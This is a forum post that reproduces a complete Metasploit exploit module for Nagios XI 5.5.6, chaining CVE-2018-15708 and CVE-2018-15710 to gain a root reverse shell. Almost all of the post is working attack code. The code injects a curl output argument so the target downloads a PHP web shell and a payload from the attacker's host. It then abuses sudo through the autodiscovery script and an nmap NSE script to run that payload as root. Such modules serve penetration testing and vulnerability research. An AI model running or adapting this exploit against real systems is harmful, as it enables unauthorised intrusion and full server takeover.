Post a Reply
726 views

Nagios XI Magpie_debug.php Root Remote Code Execution

  1. 9 months ago

    h111.png

    This Metasploit module exploits two vulnerabilities in Nagios XI 5.5.6. One allows for unauthenticated remote code execution and another allows for local privilege escalation. When combined, these two vulnerabilities give us a root reverse shell.

    MD5 | 6f7a8dbb53ba27c5718670f3c77faad2

    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer::HTML
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => "Nagios XI Magpie_debug.php Root Remote Code Execution",
          'Description'    => %q{
             This module exploits two vulnerabilities in Nagios XI 5.5.6:
             CVE-2018-15708 which allows for unauthenticated remote code execution
             and CVE 2018–15710 which allows for local privilege escalation.
             When combined, these two vulnerabilities give us a root reverse shell.
          },
          'License'        => MSF_LICENSE,
          'Author'         =>
            [
              'Chris Lyne (@lynerc)', # First working exploit
              'Guillaume André (@yaumn_)' # Metasploit module
            ],
          'References'     =>
            [
              ['CVE', '2018-15708'],
              ['CVE', '2018-15710'],
              ['EDB', '46221'],
              ['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
              ['URL', 'https://www.tenable.com/security/research/tra-2018-37']
            ],
          'Platform'       => 'linux',
          'Arch'           => [ARCH_X86, ARCH_X64],
          'Targets'        =>
            [
              ['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')]
            ],
          'DefaultOptions' =>
            {
              'RPORT' => 443,
              'SSL' => true
            },
          'Privileged'     => false,
          'DisclosureDate' => "2018-11-14",
          'DefaultTarget'  => 0
         ))
    
        register_options(
          [
            OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
            OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
            OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5])
          ])
    
        @WRITABLE_PATHS = [
          ['/usr/local/nagvis/share', '/nagvis'],
          ['/var/www/html/nagiosql',  '/nagiosql']
        ]
        @writable_path_index = 0
        @MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
        @session_opened = false
        @webshell_name = "#{Rex::Text.rand_text_alpha(10)}.php"
        @nse_name = "#{Rex::Text.rand_text_alpha(10)}.nse"
        @meterpreter_name = Rex::Text.rand_text_alpha(10)
      end
    
      def on_request_uri(cli, req)
        if @current_payload == @webshell_name
          send_response(cli, '<?php system($_GET[\'cmd\'])?>')
        else
          send_response(cli, generate_payload_exe)
        end
      end
    
      def primer
        res = send_request_cgi(
          {
            'method'  => 'GET',
            'uri'     => normalize_uri(@MAGPIERSS_PATH),
            'vars_get' => {
              'url' => "https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} " +
              '-o ' + @WRITABLE_PATHS[@writable_path_index][0] + "/#{@current_payload}"
            }
          }, 5)
    
        if !res || res.code != 200
          print_error('Couldn\'t send malicious request to target.')
        end
     end
    
      def check_upload
        res = send_request_cgi(
          {
            'method' => 'GET',
            'uri'    => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
          }, 5)
        if res && res.code == 200
          print_status("#{@current_payload} uploaded with success!")
          return true
        else
          print_error("Couldn't upload #{@current_payload}.")
          return false
        end
      end
    
      def check
        res = send_request_cgi(
          {
            'method'  => 'GET',
            'uri'     => normalize_uri(@MAGPIERSS_PATH)
          }, 5)
    
        if res && res.code == 200
          return Exploit::CheckCode::Appears
        else
          return Exploit::CheckCode::Safe
        end
      end
    
      def exploit
        all_files_uploaded = false
    
        # Upload useful files on the target
        for i in 0..@WRITABLE_PATHS.size
          @writable_path_index = i
          for filename in [@webshell_name, @meterpreter_name]
            @current_payload = filename
            begin
              Timeout.timeout(datastore['HTTPDELAY']) { super }
            rescue Timeout::Error
              if !check_upload
                break
              elsif filename == @meterpreter_name
                all_files_uploaded = true
              end
            end
          end
          if all_files_uploaded
            break
          end
        end
    
        meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"
    
        register_file_for_cleanup(
          "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@webshell_name}",
          meterpreter_path,
          "/var/tmp/#{@nse_name}"
        )
    
        # Commands to escalate privileges, some will work and others won't
        # depending on the Nagios version
        cmds = [
          "chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
          "components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
          "echo 'os.execute(\"#{meterpreter_path}\")' > /var/tmp/#{@nse_name} " \
          "&& sudo nmap --script /var/tmp/#{@nse_name}"
       ]
    
        # Try to launch root shell
        for cmd in cmds
          res = send_request_cgi(
            {
              'uri'     => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
              'method'  => 'GET',
              'vars_get' => {
                'cmd' => cmd
              }
            }, 5)
    
          if !res && session_created?
            break
          end
          print_status('Couldn\'t get remote root shell, trying another method')
        end
      end
    end
    
 

or Sign Up to reply!